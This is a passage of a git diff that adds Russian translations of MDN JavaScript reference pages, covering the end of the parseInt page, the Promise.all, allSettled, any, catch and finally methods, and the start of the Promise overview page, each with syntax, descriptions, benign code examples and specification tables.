+console.log(filterInt('421'));               // 421
+console.log(filterInt('-421'));              // -421
+console.log(filterInt('+421'));              // 421
+console.log(filterInt('Infinity'));          // Infinity
+console.log(filterInt('421e+0'));            // NaN
+console.log(filterInt('421hop'));            // NaN
+console.log(filterInt('hop1.61803398875'));  // NaN
+console.log(filterInt('1.61803398875'));     // NaN
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.2', 'parseInt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.parseInt")}}</p>
+
+<h2 id="See_Also" name="See_Also">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/all/index.html b/files/ru/web/javascript/reference/global_objects/promise/all/index.html
new file mode 100644
index 0000000000..9d8fba83b6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/all/index.html
@@ -0,0 +1,122 @@
+---
+title: Promise.all()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/all
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Обещание
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Summary" name="Summary">Общее описание</h2>
+
+<p>Метод <code><strong>Promise.all(iterable)</strong></code> возвращает обещание, которое выполнится тогда, когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонено любое из переданных обещаний.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>Promise.all(iterable)</var>;</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>Перечисляемый объект, например, массив ({{jsxref("Array")}}). Смотрите <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонен, если будет отклонено хоть одно из переданных обещаний.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><strong>Promise.all</strong> возвращает массив значений от всех обещаний, которые были ему переданы. Возвращаемый массив значений сохраняет порядок оригинального перечисляемого объекта, но не порядок выполнения обещаний. <code>Если какой-либо элемент перечисляемого объекта не является обещанием, то он будет преобразован с помощью метода </code>{{jsxref("Promise.resolve")}}<code>.</code></p>
+
+<p>Если одно из переданных обещаний будет отклонено, <code><strong>Promise.all </strong></code>будет немедлено отклонен со значением отклоненного обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то <code><strong>Promise.all</strong> </code>будет выполнен немедленно<code>. </code></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_Promise.all">Использование <code>Promise.all</code></h3>
+
+<p><strong>Promise.all </strong>ждет выполнения всех обещаний (или первого метода <code><strong>reject</strong>()</code>).</p>
+
+<pre><code>var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 100, "foo");
+});
+
+Promise.all([p1, p2, p3]).then(values =&gt; {
+  console.log(values);
+});
+
+//Выведет:
+// [3, 1337, "foo"] </code>
+</pre>
+
+<h3 id="Promise.all_поведение_немедленного_отклонения"><code>Promise.all</code> поведение немедленного отклонения</h3>
+
+<p><strong><code>Promise.all</code></strong> будет немедленно отклонен если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда <strong><code>Promise.all</code></strong> будет немедленно отклонен.</p>
+
+<pre><code>var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 1000, "one");
+});
+var p2 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 2000, "two");
+});
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 3000, "three");
+});
+var p4 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 4000, "four");
+});
+var p5 = new Promise((resolve, reject) =&gt; {
+// Это обещание прервет Promise.all
+  reject("reject");
+});
+
+Promise.all([p1, p2, p3, p4, p5]).then(value =&gt; {
+  console.log(value);
+}, reason =&gt; {
+  console.log(reason)
+});
+
+//Выведет:
+//"reject"</code>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Пояснение</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Первоначальный вариант в стандарте ECMA.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Promise.all")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Родственные_темы">Родственные темы</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.race()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/allsettled/index.html b/files/ru/web/javascript/reference/global_objects/promise/allsettled/index.html
new file mode 100644
index 0000000000..4c125fac0c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/allsettled/index.html
@@ -0,0 +1,60 @@
+---
+title: Promise.allSettled()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/allSettled
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/allSettled
+---
+<p>{{JSRef}}</p>
+
+<p>Метод <code><strong>Promise.allSettled()</strong></code> возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-allsettled.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>promise</em>.allSettled(<em>iterable</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Любой <a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols">итерируемый</a> объект, такой как {{jsxref("Array")}}, в котором каждый элемент является <code>Promise</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который будет выполнен после завершения каждого промиса, вне зависимости от того выполнился он успешно или был отклонён. В то же время, в возвращаемый обработчик промиса передаётся массив, который содержит результат каждого промиса в исходном наборе промисов.</p>
+
+<p>Объект каждого результата содержит свойство <code>status</code>. Если <code>status</code> имеет значение <code>fulfilled</code> (выполнено), то объект будет содержать свойство <code>value</code>. Если <code>status</code> имеет значение <code>rejected</code> (отклонено), то объект будет содержать свойство <code>reason</code>. Свойство <code>value</code> (или <code>reason</code>) будет содержать значение с которым был выполнен (или отклонён) промис.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/proposal-promise-allSettled/"><code>Promise.allSettled()</code> (TC39 Stage 4 Draft)</a></td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.allSettled")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Add-ons/Techniques/Promises">Promises</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Using_promises">Использование промисов</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with promises</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/any/index.html b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
new file mode 100644
index 0000000000..4d0a4baa67
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
@@ -0,0 +1,81 @@
+---
+title: Promise.any()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/any
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
+---
+<div>{{JSRef}}</div>
+
+<p><code>Метод Promise.any()</code> принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(<code>Promise)</code> выполнится успешно(<code>fullfill</code>), метод возвратит единственный объект <code>Promise</code> со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. <code>rejected</code>), тогда возвращенный объект promise будет отклонен(<code>rejected</code>) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По-существу, метод <code>Promise.any()</code> является противоположностью для {{JSxRef("Promise.all()")}}.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Warning!</strong> The <code>Promise.any()</code> method is experimental and not fully supported by all browsers. It is currently in the <a href="https://github.com/tc39/proposal-promise-any" rel="external">TC39 Candidate stage (Stage 3)</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>Promise.any(<var>iterable</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Итерируемый(<a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a>) объект, например {{JSxRef("Array")}}.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<ul>
+ <li><strong>Исполненный</strong> {{JSxRef("Promise")}}, если переданный итерируемый объект пуст.</li>
+ <li><strong>Исполненный асинхронно</strong> {{JSxRef("Promise")}}, если переданный итерируемый объект не содержит "обещаний"(promises).</li>
+ <li>Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(<strong>pending)</strong>. Возвращенное "обещание" будет <strong>исполнено</strong>(resolved/rejected) <strong>асинхронно</strong> (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из  <em>переданного итерируемого объекта исполнится</em>, либо все "обещания" будут отклонены.</li>
+</ul>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит <em>массив(Array)</em> значений исполненных обещаний, <code>Promise.any()</code> содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого <strong>завершенного(resolved или rejected)</strong>, этот метод возвращает "обещание" содержащее значение первого <strong>успешно выполненного(resolved) </strong>"обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).</p>
+
+<h3 id="Успешное_исполнениеFullfilment">Успешное исполнение(Fullfilment)</h3>
+
+<p>Если одно из "обещаний" исполнится успешно, возвращенное "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".</p>
+
+<ul>
+ <li>Если передан пустой итерируемый объект, тогда метод возвращает (синхронно) выполненное "обещание".</li>
+ <li>Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращенное из метода <code>Promise.any</code> асинхронно исполнится успешно.</li>
+</ul>
+
+<h3 id="Исполнение_с_ошибкойRejection">Исполнение с ошибкой(Rejection)</h3>
+
+<p>Елси все переданные "обещания" будут отклонены(rejected), <code>Promise.any</code> асинхронно будет отклонено в одном из двух вариантов (которые еще не были согласованы): либо</p>
+
+<ul>
+ <li>Массив(Array) содержащий причины отклонения всех "обещаний" переданных в итерируемом объекте, либо</li>
+ <li>Объект {{JSxRef("AggregateError")}}, расширяющий {{JSxRef("Error")}}, который содержит указатель на массив(Array) исключений.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/proposal-promise-any/#sec-promise.any">ESNext Promise.any Proposal</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Promise.any")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{JSxRef("Promise")}}</li>
+ <li>{{JSxRef("Promise.allSettled()")}}</li>
+ <li>{{JSxRef("Promise.all()")}}</li>
+ <li>{{JSxRef("Promise.race()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
new file mode 100644
index 0000000000..dee70fbc24
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
@@ -0,0 +1,157 @@
+---
+title: Promise.prototype.catch()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/catch
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Prototype
+  - Обещание
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong>catch()</strong> возвращает <code>Promise(</code>обещание) и работает только в случае отклонения обещания. Ведет себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>p.catch(onRejected)</var>;
+
+p.catch(function(reason) {
+   // отказ
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>onRejected</dt>
+ <dd>{{jsxref("Function")}} вызывается когда обещание отклонено. У этой функции один аргумент:
+ <dl>
+  <dt><code>reason</code></dt>
+  <dd>Причина отказа.</dd>
+  <dt>
+  <p>Promise( Обещание ), возвращенное catch (), отклоняется, если onRejected выдает ошибку(throw) или возвращает Promise, который был отклонен; В противном случае Promise, возвращаемый catch () имеет статус  выполнено  (fulfilled)</p>
+  </dt>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<dl>
+ <dd>Метод <code>catch может быть полезен для обработки ошибок</code> в вашей структуре обещаний.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_catch">Использование метода <code>catch</code></h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  resolve('Success');
+});
+
+p1.then(function(value) {
+  console.log(value); // "Success!"
+  throw 'oh, no!';
+}).catch(function(e) {
+  // Функция не перевыбросила исключение 'e'
+  // в результате произойдёт resolve(undefined)
+  // для Promise, возвращённого функцией catch
+  console.log(e); // "oh, no!"
+}).then(function(){
+  console.log('after a catch the chain is restored');
+}, function () {
+  // Функция не перевыбросила исключение 'e'
+  // в результате произойдёт resolve(undefined)
+  // для Promise, возвращённого функцией catch
+  console.log('Not fired due to the catch');
+});
+
+// Следующий код ведет себя также, как вышенаписанный
+p1.then(function(value) {
+  console.log(value); // "Success!"
+  return Promise.reject('oh, no!');
+}).catch(function(e) {
+  // Функция не перевыбросила исключение 'e'
+  // в результате произойдёт resolve(undefined)
+  // для Promise, возвращённого функцией catch
+  console.log(e); // "oh, no!"
+}).then(function(){
+  console.log('after a catch the chain is restored');
+}, function () {
+  // Функция не перевыбросила исключение 'e'
+  // в результате произойдёт resolve(undefined)
+  // для Promise, возвращённого функцией catch
+  console.log('Not fired due to the catch');
+});
+</pre>
+
+<h3 id="Ловим_выброшеные_исключения">Ловим выброшеные исключения</h3>
+
+<pre class="brush: js">// Выкидываемая ошибка вызовет метод catch
+var p1 = new Promise(function(resolve, reject) {
+  throw 'Uh-oh!';
+});
+
+p1.catch(function(e) {
+  console.log(e); // "Uh-oh!"
+});
+
+// Ошибки выброшеные из асинхронных функций не будут пойманы методом catch
+var p2 = new Promise(function(resolve, reject) {
+  setTimeout(function() {
+    throw 'Uncaught Exception!';
+  }, 1000);
+});
+
+p2.catch(function(e) {
+  console.log(e); // Никогда не вызовется
+});
+
+// Ошибки выброшеные после выполнения обещания будут проигнорированны
+var p3 = new Promise(function(resolve, reject) {
+  resolve();
+  throw 'Silenced Exception!';
+});
+
+p3.catch(function(e) {
+   console.log(e); // Никогда не вызовется
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Promise.catch")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
new file mode 100644
index 0000000000..5b4391ce47
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
@@ -0,0 +1,98 @@
+---
+title: Promise.prototype.finally()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/finally
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>finally()</strong></code> возвращает {{jsxref("Promise")}}. Когда <code>Promise</code> (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это дает возможность запустить один раз определенный участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился <code>Promise</code>.</p>
+
+<p>Это позволяет вам избавиться от дубликации кода в обработчиках {{jsxref("Promise.then", "then()")}} и {{jsxref("Promise.catch", "catch()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>p.finally(onFinally)</var>;
+
+p.finally(function() {
+   // завершен (успешно или с ошибкой)
+});
+
+p.finally(() =&gt; {
+// завершен (успешно или с ошибкой)
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>onFinally</code></dt>
+ <dd>Функция {{jsxref("Function")}} вызываемая когда <code>Promise</code> (обещание) завершено.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает {{jsxref("Promise")}} для которого в качестве обработчика <code>finally </code>задана функция <code>onFinally</code>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>finally()</code> может быть полезен, если необходимо приоизвести какие-либо вычисления или очистку, как только <code>Promise</code> (обещание) завершено, вне зависимости от результата.</p>
+
+<p><code>finally()</code> очень схож с вызовом <code>.then(onFinally, onFinally)</code>, однако существует несколько различий:</p>
+
+<ul>
+ <li>Использование <code>finally()</code> позволяет избежать двойного объявления одной и той же функции или создания переменной. </li>
+ <li><code>finally</code> не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости ее/его передавать.</li>
+ <li>В отличие от <code>Promise.resolve(2).then(() =&gt; {}, () =&gt; {})</code> (результатом которого будет resolved-промис, со значением <code>undefined</code>), результатом <code>Promise.resolve(2).finally(() =&gt; {})</code> будет resolved-промис со значением <code>2</code>.</li>
+ <li>Аналогично, в отличии от <code>Promise.reject(3).then(() =&gt; {}, () =&gt; {})</code> (результатом которого будет resolved-промис, со значением <code>undefined</code>), результатом <code>Promise.reject(3).finally(() =&gt; {})</code> будет rejected-промис со значением <code>3</code>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> A <code>throw</code> (or returning a rejected promise) in the <code>finally</code> callback will reject the new promise with the rejection reason specified when calling <code>throw()</code>.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">let isLoading = true;
+
+fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get("content-type");
+    if(contentType &amp;&amp; contentType.includes("application/json")) {
+      return response.json();
+    }
+    throw new TypeError("Oops, we haven't got JSON!");
+  })
+  .then(function(json) { /* process your JSON further */ })
+  .catch(function(error) { console.log(error); })
+  .finally(function() { isLoading = false; });
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://github.com/tc39/proposal-promise-finally">TC39 proposal</a></td>
+   <td>Stage 4</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">Чтобы внести свой вклад в эти данные о совместимости, пожалуйста, напишите запрос извлечения для этого репозитория: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.finally")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/index.html b/files/ru/web/javascript/reference/global_objects/promise/index.html
new file mode 100644
index 0000000000..c4577ab151
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/index.html
@@ -0,0 +1,267 @@
+---
+title: Promise
+slug: Web/JavaScript/Reference/Global_Objects/Promise
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Promise
+  - Обещания
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Объект <strong><code>Promise</code></strong> (промис) используется для отложенных и асинхронных вычислений.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}</p>
+
+<div class="hidden">
+<p>Исходники интерактивного демо находятся в репозитории на GitHub. Если вы хотите внести свой вклад в развитие интерактивных демо, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулреквест.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">new Promise(<em>executor</em>);
+new Promise(function(resolve, reject) { ... });</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>executor</dt>
+ <dd>Объект функции с двумя аргументами <code>resolve</code> и <code>reject</code>. Функция <code>executor</code>  получает оба аргумента и выполняется сразу, еще до того как конструктор вернет созданный объект. Первый аргумент (<code>resolve</code>) вызывает успешное исполнение промиса, второй (<code>reject</code>) отклоняет его.<br>
+ Обычно функция <code>executor</code> описывает выполнение какой-то асинхронной работы, по завершении которой необходимо вызвать функцию <code>resolve</code> или <code>reject</code>. Обратите внимание, что возвращаемое значение функции <code>executor</code> игнорируется.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Интерфейс <code><strong>Promise</strong></code> (промис) представляет собой обертку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается <em>обещание </em>(промис)<em> </em>получить результат в некоторый момент в будущем.</p>
+
+<p><code>Promise</code> может находиться в трёх состояниях:</p>
+
+<ul>
+ <li><em>ожидание (pending)</em>: начальное состояние, не исполнен и не отклонен.</li>
+ <li><em>исполнено (fulfilled)</em>: операция завершена успешно.</li>
+ <li><em>отклонено (rejected)</em>: операция завершена с ошибкой.</li>
+</ul>
+
+<p>При создании промис находится в <em>ожидании (pending)</em>, а затем может стать <em>исполненным </em> (<em>fulfilled)</em>, вернув полученный результат (значение), или <em>отклоненным </em>(<em>rejected),</em> вернув причину отказа. В любом из этих случаев вызывается обработчик, прикрепленный к промису методом <code>then</code>. (Если в момент назначения обработчика промис уже исполнен или отклонен, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)</p>
+
+<p>Так как методы <code>{{JSxRef("Promise.then", "Promise.prototype.then()")}}</code> и <code>{{JSxRef("Promise.catch", "Promise.prototype.catch()")}}</code> сами возвращают промис, их можно вызывать цепочкой, создавая <em>соединения.</em></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> говорят, что промис находится в состоянии <em>завершен (settled) </em>когда он или исполнен или отклонен, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин <em>исполен (resolved) </em>— это значит что промис <em>завершен </em>или "заблокирован" в ожидании завершения другого промиса. В статье <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">состояния и fates</a> приводится более подробное описание терминологии.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>Значение свойства всегда равно 1 (количество аргументов конструктора).</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd>Представляет прототип для конструктора <code>Promise</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd>Ожидает исполнения всех промисов или отклонения любого из них.</dd>
+ <dd>Возвращает промис, который исполнится после исполнения всех промисов в <code>iterable</code>. В случае, если любой из промисов будет отклонен, <code>Promise.all</code> будет также отклонен.</dd>
+ <dt>{{JSxRef("Promise.allSettled", "Promise.allSettled(iterable)")}}</dt>
+ <dd>Ожидает завершения всех полученных промисов (как исполнения так и отклонения).</dd>
+ <dd>Возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd>Ожидает исполнения или отклонения любого из полученных промисов.</dd>
+ <dd>Возвращает промис, который будет исполнен или отклонен с результатом исполнения первого исполненного или отклонённого промиса из .<code>iterable</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt>
+ <dd>Возвращает промис, отклонённый из-за <code>reason</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt>
+ <dd>Возвращает промис, исполненный с результатом <code>value</code>.</dd>
+ <dd>
+ <div class="hidden">
+ <p>Если у <code>value</code> имеется метод <code>then</code>, то возвращаемый промис будет "следовать" продолжению, выступая адаптером его состояния; в противном случае будет возвращен промис в исполненном состоянии. Если вы не уверены, является ли некоторое значение промисом, вы можете обернуть его в  {{JSxRef("Promise.resolve", "Promise.resolve(value)")}} и продолжить работу с ним как с промисом.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Прототип_Promise">Прототип <code>Promise</code></h2>
+
+<h3 id="Свойства_2">Свойства</h3>
+
